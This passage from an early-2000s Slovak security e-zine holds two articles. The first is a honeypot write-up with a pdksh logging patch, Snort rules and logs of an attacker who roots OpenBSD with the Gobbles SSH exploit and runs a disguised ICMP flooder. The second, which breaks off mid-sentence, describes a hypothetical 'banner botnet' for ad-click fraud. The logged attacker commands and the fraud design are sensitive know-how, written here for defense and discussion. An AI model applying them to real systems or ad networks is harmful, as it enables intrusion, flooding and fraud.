von. i ked sam priznava, ze bol k takemuto navrhu dotlaceny nedobrovolne, kedze
nemal k dispozicii viac ipadries a jeho cielom bolo otestovat, ci je mozne
prevadzkovat honeypot aj v takomto prostredi.



prakticky jedina vyhoda, ktoru ziskal je prave ta, ze moze prevadzkovat
honeypot aj za situacie, ked moze pouzit len jednu ipadresu a je nuteny
posunut dalsie systemy dovnutra lokalnej siete. takyto system vsak nemoze
sluzit ako modelovy pripad, kedze utocnik je prakticky "vymknuty" vo vnutri a
preniknut naspat inou cestou (backdoor iny ako sshd) je pre neho pomerne
narocne. po zbeznom prehliadnuti systemu musi byt utocnikovi taktiez okamzite
jasne, ze nie je vsetko uplne v poriadku a moze zacat sipit podozrenie a
jednoducho odist a uz sa nevratit. takyto honeypot plni teda len polovicnu
funkciu: umozni sledovat a analyzovat situaciu predchadzajucu prieniku a
prienik samotny. nie je uz mozne pozorovat dalsie kroky, ktore utocnik moze
vykonat s vynimkou jeho tapania na suchu a nasledneho odchodu, ci uz z dovodu
toho, ze pojme podozrenie, ze so systemom nie je vsetko v poriadku alebo
jednoducho jeho technicke schopnosti nebudu postacovat na prekonanie takejto
bariery.



osobne sm sa rozhodol pouzit fyzicky stroj s verejnou ipadresou, kedze taketo
riesenie bolo v danej situacii najjednoduchsie a najpriamociarejsie (a nebol
som obmedzovany nedostatkom adries).



.
Internet . LAN
.
(tam ziju levy) .
. .------->[ monitorovacia stanica (ipfilter) ]
. | ^
. | |
. snort log, syslog |
. | |
[ firewall (snort, iptables) ] |
. || |
. || syslog
. ||______________. |
. `---------------[ honeypot (sh, syslog) ]
.



konfiguracia, logovanie a nastroje



ako operacny system na honeypot som pre zmenu pouzil OpenBSD 3.1, ktory ma po
defaultnej instalacii taktiez deravy ssh daemon [5] a
vyhradil som si na tento ucel starsi notebook, v ktorom som vymenil disk, aby
som si zachoval povodny system a data bez reinstalacie. nainstaloval som nan
beznu instalaciu tohto systemu (bez X), vratane ports a doinstaloval som
typicke uzivatelske aplikacie, aby system vyzeral byt pouzivany a zaroven
poskytol relativne pohodlne prostredie pre utocnika (screen, autotools, wget,
etc.). taktiez som vytvoril niekolkych uzivatelov a pocas priprav som niekolko
dni vytvaral falosnu aktivitu na tychto kontach ale tiez nie privelmi
frekventovanu, aby nebolo podozrive, ze uzivatelia nie su aktivni prave vo
chvili, ked bude system napadnuty.



problem, na ktory narazil autor spominanej studie v tejto faze, a sice, ze
"nebol schopny pouzit patch, ktory umoznuje po aplikovani na zdrojove kody bash
2.05 logovat uzivatelske prikazy cez syslog, pretoze takyto bash nie je mozne
potom spolahlivo pouzit ako /bin/sh (ktory exploit spusta) v systeme OpenBSD"
som nemohol brat ako padny argument a vyriesil som to po svojom--napisal som si
vlastny. patch pre pdksh, ktory OpenBSD pouziva v sh mode ako /bin/sh a v
nativnom mode ako /bin/ksh je prilozeny tu:


--- lex.c.orig Sat Jul 20 16:16:18 2002
+++ lex.c Sat Jul 20 16:07:37 2002
@@ -7,6 +7,9 @@
#include "sh.h"
#include <ctype.h>

+#ifdef HONEYPOT
+#include <syslog.h>
+#endif

/* Structure to keep track of the lexing state and the various pieces of info
* needed for each particular state.
@@ -1001,6 +1004,9 @@
char *xp = Xstring(s->xs, xp);
int interactive = Flag(FTALKING) && s->type == SSTDIN;
int have_tty = interactive && (s->flags & SF_TTY);
+#ifdef HONEYPOT
+ char logbuf[600];
+#endif

/* Done here to ensure nothing odd happens when a timeout occurs */
XcheckN(s->xs, xp, LINE);
@@ -1080,6 +1086,17 @@
s->start = s->str = Xstring(s->xs, xp);
strip_nuls(Xstring(s->xs, xp), Xlength(s->xs, xp));
/* Note: if input is all nulls, this is not eof */
+#ifdef HONEYPOT
+ if (strlen(Xstring(s->xs, xp)) < 600)
+ syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s",
+ getpid(), getuid(), Xstring(s->xs, xp));
+ else {
+ strncpy(logbuf, Xstring(s->xs, xp), sizeof(logbuf));
+ logbuf[sizeof(logbuf) - 1] = '';
+ syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s(TRUNCATED!)",
+ getpid(), getuid(), logbuf);
+ }
+#endif
if (Xlength(s->xs, xp) == 0) { /* EOF */
if (s->type == SFILE)
shf_fdclose(s->u.shf);



tento patch som aplikoval v adresari /usr/src/usr.bin/ksh/ a skompiloval novy
shell prikazom: HONEYPOT=1 make a nahradil nim /bin/ksh (/bin/sh je hardlink).
jeho ucel je rovnaky ako uz spominaneho patchu pre bash z
honeynet.org--logovat prikazy, ktore uzivatel zada shellu cez syslogd s
prioritou info.local5.



potencialny utocnik by vsak mohol zabit proces syslogd a musel by som tieto
data pracne rekonstruovat z logov zachytenych tcp spojeni na firewalle (tomu
som sa nakoniec tak ci tak nevyhol). preto som upravil tiez zdrojove kody
syslogd, ktore mi umoznili pustit dve instancie tohto programu sucasne a
zaroven nacitavat konfiguraciu z ineho miesta ako je /etc/syslogd.conf. tieto
upravy boli trivialne a mozete si ich vypracovat ako domacu ulohu :). takto
upraveny syslogd som nakopiroval na miesto, ktore povodne patrilo apmd a
povolil jeho spustenie standardnym sposobom v /etc/rc.conf, takze sa po starte
tvaril velmi neskodne (kto by preco zabijal advanced power management daemon,
vsakze?). tento syslogd posielal vsetky logy cez siet na monitorovaciu
stanicu. tym boli upravy na samotnom cielovom stroji kompletne.



na firewalle, ktory oddeluje lokalnu siet od internetu, bol nainstalovany
intrusion detection system snort, ktory taktiez posielal data urcene k
neskorsej analyze na monitorovaciu stanicu. konfiguracia sa len velmi mierne
lisila od standardneho nastavenia, relevantny vynatok z pravidiel je tu:



ruletype honeypot-traffic
{
type log
output log_tcpdump: honeypot-traffic.log
}

honeypot-traffic tcp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming TCP Traffic";)
honeypot-traffic udp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming UDP Traffic";)
honeypot-traffic icmp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming ICMP Traffic";)
honeypot-traffic tcp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing TCP Traffic";)
honeypot-traffic udp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing UDP Traffic";)
honeypot-traffic icmp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing ICMP Traffic";)


funkcnost je zrejma, loguje vsetky pretecene data smerujuce na a z cieloveho
stroja v tcpdump formate. snort samotny uz obsahuje v subore experimental.rules
(v case pisania clanku) pravidla na detekciu gobbles exploitu na OpenSSH.
$HONEYNET je premenna obsahujuca ipadresu honeypot stroja.



na firewalle samotnom su nastavene dost tuhe pravidla pre paketovy filter
(iptables, GNU/Linux), takze som sa neobaval pripadneho napadnutia inych
segmentov lokalnej siete a na monitorovacej stanici som zakazal akykolvek
traffic z honeypot stroja okrem dat zo syslogu (ipfilter, Solaris). nechcel som
pridavat ziadne extra pravidla na firewalle, aby utocnik nedostal pocit, ze je
kdesi vymknuty ale zaroven som bol pripraveny odpojit ho od siete, ak by zacal
vyvijat aktivitu, ktora by mi mohla sposobit problemy (napadanie dalsich
systemov na internete, icmp floodovanie, etc.). este dodam, ze v tomto
segmente lokalnej siete sa ziadne dalsie pocitace v tom case nenachadzali.



pre zjednodusenie orientacie bude firewall oznaceny ako 'firewall' a honeypot
stroj 'honeypot', v skutocnosti maju ine mena. realne ipadresy ostatnych
pocitacov fugurujucich v logoch boli taktiez pozmenene.


priebeh



na druhy den po spusteni (Jul 20 16:43:41), presnejsie o par hodin, sa objavili
prve skeny na ssh a pokracovali i neskor:


Jul 21 04:35:47 honeypot sshd[2192]: Connection from aaa.aa.aa.aa port 2601
Jul 21 04:37:03 honeypot sshd[2192]: Did not receive identification string from aaa.aa.aa.aa
...
Jul 21 10:09:59 honeypot sshd[7602]: Connection from bbb.bbb.bbb.bb port 60298
Jul 21 10:09:59 honeypot sshd[7602]: Did not receive identification string from bbb.bbb.bbb.bb
...
Jul 22 23:21:48 honeypot sshd[13222]: Connection from ccc.cc.ccc.cc port 1480
Jul 22 23:31:53 honeypot sshd[13222]: fatal: Timeout before authentication for ccc.cc.ccc.cc.



az nakoniec prisiel prvy uspesny utok z adsl klienta kanadskeho poskytovatela
pripojenia:


Jul 23 20:42:27 honeypot sshd[14629]: Connection from xxx.xxx.xxx.xx port 32854
Jul 23 20:42:27 honeypot sshd[14629]: Enabling compatibility mode for protocol 2.0
Jul 23 20:42:29 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt
[Classification: Misc Attack] [Priority: 2]:
{TCP} xxx.xxx.xxx.xx:32854 -> honeypot:22
Jul 23 20:42:33 honeypot sshd[14629]: Failed none for root from xxx.xxx.xxx.xx port 32854 ssh2
Jul 23 20:42:33 honeypot sshd[14629]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 32854 ssh2
Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168
Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168
Jul 23 20:42:40 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE)
[Classification: Misc Attack] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854
Jul 23 20:42:41 honeypot sh: HISTORY: PID=14629 UID=0 uname -a;id
Jul 23 20:42:41 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root
[Classification: Potentially Bad Traffic] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854

OpenBSD honeypot 3.1 GENERIC#59 i386
uid=0(root) gid=0(wheel) groups=0(wheel)


avsak jedine, na co sa dotycny zmohol, bol prikaz w o par minut neskor:


Jul 23 20:51:53 honeypot sh: HISTORY: PID=14629 UID=0 w

8:51PM up 3 days, 4:07, 1 user, load averages: 0.07 , 0.08, 0.08
USER TTY FROM LOGIN@ IDLE WHAT
martin C1 - Mon01AM 1day screen


a nasledne sa odpojil. pravdepodobne sa zlakol uzivatela, ktory bol prihlaseny
na konzole a mal idle viac nez den. mal spusteny screen a v nom browser links s
natiahnutou strankou google.com. odhlasil som ho a vyckaval dalej..



dalsie skeny sa objavili az o dva dni neskor a sporadicky pokracovali zopar
dalsich dni:


Jul 25 19:59:57 honeypot sshd[30]: Connection from ddd.ddd.ddd.ddd port 3292
Jul 25 20:00:52 honeypot sshd[30]: Bad protocol version identification
'M^?M-tM^?M-}^FM^?M-tM^?M-}^Flol' from ddd.ddd.ddd.ddd
...
Jul 26 03:52:58 honeypot sshd[17038]: Connection from ee.eee.ee.eee port 3997
Jul 26 04:03:03 honeypot sshd[17038]: fatal: Timeout before authentication for ee.eee.ee.eee.
...
Jul 30 12:30:40 honeypot sshd[1748]: Connection from fff.fff.fff.ff port 1817
Jul 30 12:30:40 honeypot sshd[1748]: Did not receive identification string from fff.fff.fff.ff
...
Aug 1 06:02:06 honeypot sshd[16014]: Connection from ggg.ggg.gg.ggg port 1901
Aug 1 06:12:06 honeypot sshd[16014]: fatal: Timeout before authentication for ggg.ggg.gg.ggg.



az sa napokon objavil opat nas stary znamy, ktory uz zjavne isiel na istotu:


Aug 1 18:47:26 honeypot sshd[25245]: Connection from xxx.xxx.xxx.xx port 57008
Aug 1 18:47:26 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt
[Classification: Misc Attack] [Priority: 2]:
{TCP} xxx.xxx.xxx.xx:57008 -> honeypot:22
Aug 1 18:47:27 honeypot sshd[25245]: Enabling compatibility mode for protocol 2.0
Aug 1 18:47:29 honeypot sshd[25245]: Failed none for root from xxx.xxx.xxx.xx port 57008 ssh2
Aug 1 18:47:30 honeypot sshd[25245]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 57008 ssh2
Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168
Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168
Aug 1 18:47:32 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE)
[Classification: Misc Attack] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008
Aug 1 18:47:32 honeypot sh: HISTORY: PID=25245 UID=0 uname -a;id
Aug 1 18:47:32 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root
[Classification: Potentially Bad Traffic] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008

OpenBSD honeypot 3.1 GENERIC#59 i386
uid=0(root) gid=0(wheel) groups=0(wheel)

Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 unset HISTFILE
Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 w

6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:47:39 honeypot sh: HISTORY: PID=25245 UID=0 ls

.cshrc .profile altroot bin boot bsd dev etc home
mnt root sbin stand sys tmp usr var

Aug 1 18:47:42 honeypot sh: HISTORY: PID=25245 UID=0 ps aux

USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 25245 5.8 0.4 384 308 ?? S 6:47PM 0:01.39 //bin/sh
root 12177 0.0 0.4 100 352 ?? Is 20Jul02 0:04.46 syslogd
root 6530 0.0 0.4 76 292 ?? Is 20Jul02 0:00.02 portmap
root 12662 0.0 1.6 1092 1312 ?? Ss 20Jul02 0:51.81 /usr/sbin/htt
root 3157 0.0 0.5 763 84 ?? Is 20Jul02 0:00.08 inetd
www 24521 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt
www 1134 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt
www 17705 0.0 1.1 1092 908 ?? I 20Jul02 0:00.10 /usr/sbin/htt
root 28815 0.0 1.0 372 828 ?? Ss 20Jul02 0:19.60 /usr/sbin/ssh
root 7345 0.0 0.5 80 368 ?? Ss 20Jul02 0:04.40 (apmd)
root 25599 0.0 0.5 224 440 ?? Is 20Jul02 0:05.48 cron
root 22711 0.0 0.3 36 256 ?? Is 20Jul02 0:00.01 /usr/sbin/wsm
root 649 0.0 0.5 48 408 C2 Is+ 20Jul02 0:00.02 /usr/libexec/
root 22447 0.0 0.5 48 408 C3 Is+ 20Jul02 0:00.02 /usr/libexec/
root 28337 0.0 0.5 48 408 C5 Is+ 20Jul02 0:00.02 /usr/libexec/
root 9662 0.0 1.0 836 784 ?? Ss 20Jul02 1:48.26 sendmail: acc
root 5418 0.0 0.5 48 408 C0 Is+ 20Jul02 0:00.02 /usr/libexec/
www 13599 0.0 1.1 1092 892 ?? I 20Jul02 0:00.08 /usr/sbin/htt
martin 7115 0.0 1.1 424 856 ?? Is 22Jul02 0:00.23 SCREEN (scree
martin 25456 0.0 0.4 392 340 p0 Is 22Jul02 0:00.14 /bin/ksh
martin 15687 0.0 1.4 860 1112 p0 I+ 22Jul02 0:00.16 links
root 24909 0.0 0.5 48 412 C1 Is+ 23Jul02 0:00.03 /usr/libexec/
www 25082 0.0 1.1 1092 892 ?? I Fri07AM 0:00.05 /usr/sbin/htt
www 29217 0.0 1.1 1092 892 ?? I Wed07AM 0:00.03 /usr/sbin/htt
www 10007 0.0 1.1 1092 892 ?? I Wed0 7AM 0:00.03 /usr/sbin/htt
root 1 0.0 0.0 332 76 ?? Is 22Jul02 0:00.10 /sbin/init

Aug 1 18:47:46 honeypot sh: HISTORY: PID=25245 UID=0 w

6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:47:51 honeypot sh: HISTORY: PID=25245 UID=0



ocividne ho posmelilo, ze tentokrat uz nenasiel ziadneho nalogovaneho
uzivatela a tak sa o chvilku vratil (prazdny prikaz v HISTORY predstavuje
ctrl-d) a s chutou sa pustil do prace. nalogoval sa na ftp server urceny pre
klientov isteho holandskeho poskytovatela pripojenia a stiahol si nevinne
vyzerajuci subor td.doc (ftp spojenie je zrekonstruovane z dat na firewalle):


Aug 1 18:48:01 honeypot sh: HISTORY: PID=25316 UID=0 ftp yy.yy.yy.yy

220 FTP server (Version 7.02 - Yyyyyyyyy 1.1) ready.
USER xxxxxx
331 Password required for xxxxxx.
PASS xxxxxxxx
230 User xxxxxx logged in.
SYST
215 UNIX Type: L8 Version: BSD-199506
TYPE I
200 Type set to I.
SIZE td.doc
213 102400
EPSV
500 'EPSV': command not understood.
PASV
227 Entering Passive Mode (yy,yy,yy,yy,7,156)
RETR td.doc
150 Opening BINARY mode data connection for 'td.doc' (102400 bytes).
226 Transfer complete.
MDTM td.doc
213 20020727165925
QUIT
221 Goodbye.


(kedze pouzitie tohto ftp konta by mohlo byt povazovane za porusenie zakona z
mojej strany, nepokusal som sa nan nalogovat (a v principe ani nebolo cielom
patrat po utocnikovi). navyse, samotny binarny subor som ziskal na neskorsiu
analyzu priamo na honeypot stroji.)



opat sa porozhliadol, ci sa nahodou, medzitym ako mal spustene ftp, nikto
neprihlasil do systemu a vytvoril si subor, ktory zatial nedaval velky zmysel.
("n hodnota" je oblubeny format konfiguracnych suborov pre rootkity
odnepamati. v tomto momente som mohol len hadat jeho urcenie. predstavuje 3
skupinu procesov, ktore sa nebudu zobrazovat v prikazoch ps, top a pod. alebo
ide o subory, ktore neukaze ls, find, ...?).



presunul td.doc do /usr/include/... a na druhy krat sa mu podarilo nastavit
spustitelne prava. nakoniec ho spustil, znova sa poobzeral, skontroloval
procesy a pokusil sa reattachnut screen. tu by som sa nachvilku zastavil,
pretoze toto mi pripadalo zaujimave. utocnik videl, ze v procesoch sa nachadza
aj jeden spusteny screen, ktory vsak nebezal uzivatelovi root a navyse screen
sa neda spustit bez toho, aby mal k dispozicii tty zaiadenie, takze toto bol
pokus o nieco, co v ziadnom pripade nemohlo fungovat. skontroloval sietove
spojenia a napokon sa odhlasil:


Aug 1 18:48:28 honeypot sh: HISTORY: PID=25316 UID=0 w

6:48PM up 12 days, 2:04, 0 users, load averages: 0.10, 0.09, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:48:30 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 ..." >>/dev/sdab
Aug 1 18:48:45 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 lpsched" >>/dev/sdab
Aug 1 18:48:51 honeypot sh: HISTORY: PID=25316 UID=0 mv td.doc /usr/include/...
Aug 1 18:48:56 honeypot sh: HISTORY: PID=25316 UID=0 chmod + /usr/include/...
Aug 1 18:49:00 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/...

//bin/sh: /usr/include/...: cannot execute - Permission denied

Aug 1 18:49:08 honeypot sh: HISTORY: PID=25316 UID=0 chmod +x /usr/include/...
Aug 1 18:49:12 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/...
Aug 1 18:49:13 honeypot sh: HISTORY: PID=25316 UID=0 w

6:49PM up 12 days, 2:05, 0 users, load averages: 0.10, 0.09, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:49:15 honeypot sh: HISTORY: PID=25316 UID=0 ps aux

USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
...
root 9825 0.0 0.4 132 288 ?? S 6:49PM 0:00.01 lpsched (...)

Aug 1 18:49:23 honeypot sh: HISTORY: PID=25316 UID=0 screen -r

Must be connected to a terminal...

Aug 1 18:49:31 honeypot sh: HISTORY: PID=25316 UID=0 netstat -an

Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp 0 0 honeypot:22 xxx.xxx.xxx.xx.57010 ESTABLISHED
tcp 0 0 *.113 *.* LISTEN
tcp 0 0 127.0.0.1.587 *.* LISTEN
tcp 0 0 127.0.0.1.25 *.* LISTEN
tcp 0 0 *.22 *.* LISTEN
tcp 0 0 *.21 *.* LISTEN
tcp 0 0 *.80 *.* LISTEN
tcp 0 0 127.0.0.1.111 *.* LISTEN
tcp 0 0 *.111 *.* LISTEN
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
udp 0 0 *.514 *.*
udp 0 0 127.0.0.1.111 *.*
udp 0 0 *.111 *.*
udp 0 0 *.* *.*
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp6 0 0 ::1.587 *.* LISTEN
tcp6 0 0 ::1.25 *.* LISTEN
tcp6 0 0 *.22 *.* LISTEN
Active UNIX domain sockets
Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr
0xe0861004 stream 0 0 0xe7949b78 0x0 0x0 0x0 /home/martin /.links/socket
0xe08610b4 dgram 0 0 0x0 0xe0851cc0 0x0 0xe085a980
0xe08014d0 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0851580
0xe0801b00 dgram 0 0 0x0 0xe0851cc0 0x0 0x0
0xe08019a0 dgram 0 0 0xe793b848 0x0 0xe086e3c0 0x0 /dev/log
0xe0801f20 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0866dc0
0xe0801790 dgram 0 0 0x0 0xe0834900 0x0 0x0
0xe0801000 dgram 0 0 0xe7924e74 0x0 0xe0834680 0x0 /dev/log

Aug 1 18:49:42 honeypot sh: HISTORY: PID=25316 UID=0



z vypisu posledneho prikazu ps by sa mohlo zdat, ze je uz jasne, na co sluzi
subor /dev/sdab a riadky v nom. opak je vsak pravdou, tento subor totiz vobec
nie je otvarany dotycnym binarnym suborom. analyza ukazala, ze sa jedna o
mierne poupraveny flooder, znamy pod menom Bubonic.c [ href="#bubonic">6], ktory pouziva fixne argv[] s hodnotou "lpsched" (nie
velmi sikovne upraveny, kedze ukazuje aj nazov skutocneho suboru). tieto
indicie by naznacovali, ze utocnik sa este chysta nainstalovat nejaky rootkit,
ktory sa bude konfigurovat cez /dev/sdab a jednym z cielov je ukryt tento
program. kedze okamzite po spusteni zacal generovat znacny icmp traffic, po
niekolkych hodinach (Aug 2 02:11:55) vyckavania, ci sa utocnik opat prihlasi,
som sa rozhodol jeho cinnost ukoncit.



bol som zvedavy, ci sa este ukaze a bude pokracovat v nacatej praci (stale tam
bol subor, ktory nedaval zmysel..) ale kedze sa ani po 4 dnoch neukazal a ja
som uz potreboval notebook opat pouzivat, honeypot som definitivne odpojil od
siete (Aug 6 08:51:23).


par slov na zaver



s vacsinou veci musim s autorom spominanej analyzy suhlasit. akonahle sa
objavia verejne dostupne exploity, ktorych pouzitie je trivialne a nekladie
naroky na ich pouzitie, okamzite sa rozsiria medzi pospolity lud. vdacnymi
uzivatelmi su najma pocetne skupinky script kiddies, ktorych najvacsou zabavou
je floodovanie na irc, ktori potom cele dni skenuju velke casti internetu na
zname chyby a masovo ich zneuzivaju. obetou podobneho utoku sa stal aj moj
honeypot, comu nasvedcuje icmp flooder a dalsi nezaujem zo strany utocnika
(ved podobnych strojov este najde stovky..).



extremne kratka doba, za ktoru bol system odhaleny a mnozstvo skenov, ktore
pocas nej prebehli, naznacuje, ze OpenSSH bolo v case pisania clanku v kurze a
kto nepatchuje, koleduje si o problemy a ani OpenBSD automaticky neznamena
zabezpeceny system. utocnik bol ocividne zamerany (aj) prave na OpenBSD
systemy, kedze mal pripravenu staticky linkovanu binarku floodera. jeho
rozpacite pocinanie dava tusit, ze vela skusenosti pravdepodobne nema. fakt,
ze sa ani nesnazil skryvat, moze znamenat, ze som bol jednoducho jednou z
desiatok jeho obeti, ktore po pouziti zahodi a ide zase o serverovnu dalej.



este dodam, ze pocas prevadzkovania honeypotu skoncili v logoch stovky pokusov
o prelomenie znamych dier v roznych inych kombinaciach systemov a softveru.
prevazovali utoky na chyby v ISS, mnozstvo z nich boli pravdepodobne cervy.
taktiez dalsie desiatky az stovky skenov na otvorene proxy servery, samba
shares, ci ftp.



honeypoty sa stavaju modnou mainstreamovou zalezitostou. pre utocnikov to
castokrat znamena, ze nevedia, ci sa pokusaju naburat do skutocneho deraveho
servera, o ktory sa administrator nestara alebo sadaju na lepkavy med sikovne
nachystaneho honeypotu. bude istotne zaujimave sledovat ako sa situacia
vyvinie. a co vy, uz mate svoj honeypot?


odkazy




[1] - http://www.lucidic.net/whitepapers/manuzis-7-5-2002-1.html

[2] - http://user-mode-linux.sourceforge.net/

[3] - http://www.citi.umich.edu/u/provos/honeyd/

[4] - http://www.honeynet.org/

[5] - http://openbsd.org/errata.html#sshd

[6] - http://online.securityfocus.com/archive/82/78437



salo, salo(at)hysteria.sk


navrat na obsah

co ty na to ? board






problemy internetovej reklamy



velmi velka cast prijmov z internetu hlavne v nasich krajinach (cr a sr) je
zalozena na reklame, vacsinou na bannerovej reklame. jednak tu pomerne uspesne
funguje bartrovy obchod (reklama za kredity) a jednak zobrazovanie impresii za
peniaze. tento clanok by mal byt malym kritickym pohladom na tuto cast trhu.



v prvom rade je vhodne povedat par odlisnosti reklamy internetovej a reklamy v
ostatnych mediach. reklama v beznych mediach sa pomerne tazsie cieli --
zameriava sa dost nepresne na cielove skupiny. zaroven je vsak mozne dopredu
predpokladat (ak nenastane nejaka mimoriadna situacia) velkost cielovej
skupiny. existuju rozne statisticke metody, ktore dovoluju urcite sledovanost,
pripadne citanost daneho media. ovela zlozitejsie je urcit samotnu ucinnost
reklamy (kto si zapamata danu znacku, kto si produkt naozaj kupi, ...).



zadavatelia internetovej reklamy ju vedia v kazdom vacsom reklamnom systeme
pomerne dobre cielit. vedia povedat cielovu skupinu (podla toho, ako
odpovedali v anketach, na ake stranky chodia, aky operacny system pouzivaju,
cez akeho poskytovatela pripojenia su pripojeni. zatialco ,,bezna'' reklama
cieli reklamu na predpokladanu cielovu skupinu, internetova reklama je cielena
na kazdeho cloveka osobitne.




tu vsak nastava jeden zo zakladnych problemov -- preco by som chcel dovolit
nejakemu gigantickemu reklamnemu systemu vediet o mne nejake informacie? na
tento ucel vznikli systemy blokujuce reklamu. jeden z najkrajsich je urcite
junkbuster alebo jednoducho acl listy v squide.



ked je vsak mozne pouzivat sluzbu bez pozerania sa na ich reklamu, nastava tu
dost zasadna otazka: mnozstvo klientov dostava informacie bez pozerania sa na
reklamu. je to ako keby ste si po kupe casopisu carovnym prutikom odcarovali
vsetku reklamu a citali naozaj len tie informacie, ktore vas zaujimaju.



pre zadavatela reklamy aj pre prevadzkovatela sajtu je teda problemom, ci sa
niekto na reklamu pozera (zadavatel reklamy to vidi v statistikach, co ak sa
vsak tieto blokovace reklamy rozsiria natolko, ze na reklamu uz nebude pozerat
takmer nikto?). zadavatel reklamy si vsak logicky musi polozit dalsiu otazku
-- je prijemca reklamy clovek alebo stroj?.



otazka moze zniet hlupo, no reklamny obrazok si vacsinou vyziada stroj, je
vsak na nom, ci obrazok zobrazi. mozno si dany obrazok ani neziadal zobrazit
ziadny clovek. a tu je kamen urazu. podla coho plati zadavatel reklamy za
zobrazene impresie, ked v podstate nemoze vediet, ci reklamu naozaj vidi
clovek?


banner botnet



skusme si teraz v hlave naprogramovat jednoduchu siet ,,pozeracov a
odklikavacov'' bannerov. cielom siete je nazbierat clenom dostatok kreditov v
reklamnom systeme. niekolko nezavislych serverov sa bude starat o menezment
impresii. klient si vytvori na danom serveri konto. jeho klientsky program sa
s tymto kontom pripoji na server a dostane informaciu o obrazku, ktory ma
requestnut (vratane hlaviciek, ktore ma poslat). s istou pravdepodobnostou
(0.1-1.5%, co je bezny pomer odkliknutia banneru) mu zaroven prikaze po istom
case vyziadat si ine url (odkliknutie banneru). za kazdy takyto ukon dostane v
banner botnete jeden kredit. v kliente si nastavi url banneru, ktory chce,
aby mu ostatni clenovia pozerali a pripadne odklikavali. teda za kazde
vyziadanie banneru si jeho banner ,,pozrie'' niekto iny. v statistikach
reklamneho systemu sa nebude diat nic nezvycajne -- pomerne pomaly nastup
poctu impresii. klientovi, ktory takto ,,pozera'' programovo cudzie bannery
zacne rast kredit v reklamnom systeme (pretoze cely svet mu klika na bannery).
to, ze niekedy ten kredit znamena peniaze ani nebudem spominat.



samozrejme, najdu sa taki nepodstivi medzi nepodstivymi, ktori by chceli
dostavat kredit a nic neodklikavat a nerequestovat. preto server s istou
pravdepodobnostou posle linku na iny spriazneny server, ktory dane odkliknutie
overi a v pripade, ze k nemu nedoslo, klientov ucet zakaze.



v podstate jediny sposob, ako sa vymenny reklamny system moze dozvediet o tom,
ze niekto takto funguje (pri este vacsom a detailnejsom domysleni, ako tu
popisujem), je stat sa sucastou banner botnetu.



aj ked to mozno bude zniet zvlastne, v pripade, ze by sa taketo nieco stalo,
cely system bannerovych reklam (ak niekto nenajde nejake ine riesenie, ktore
by znemoznilo takyto sposob fungovania) by sa s banner botnetom zacal stale
viac a viac potapat. cena za impresiu by klesala (kedze by sa stale zvysovala
pravdepodobnost, ze si k cloveku cestu nenajde) a casom by sa tento system
cely sam potopil.



zo zaciatku by bol vsak pre ,,clenov'' velmi vyhodny, pretoze by im pomohol
skoro zadarmo (teda za pripojenie) zarobit dost impresii a ziskat reklamu na
svoje stranky. ak by nepremenil svoje stranky na iny druh zisku (napr. z
ponukania tovaru alebo informacii), mohol by zarobit predanim impresii.


buducnost internetovej reklamy



nie som jasnovidec, no v pripade, ze sa takato moznost uplatni a reklamne
agentury a zadavatelia reklamy si tuto hrozbu uvedomia, reklama na internete,
ako ju pozname teraz (a hlavne platenie za nu) uplne zanikne. pretransformuje
sa na iny druh reklamy, ktory sa takto oklamat neda -- na reklamu druhu
,,podiel z predanych vyrobkov, ktore zakupil zakaznik ktoreho ziskala reklama
na danej stranke''. v tomto pripade vyhra zadavatel reklamy a aj zakaznik --
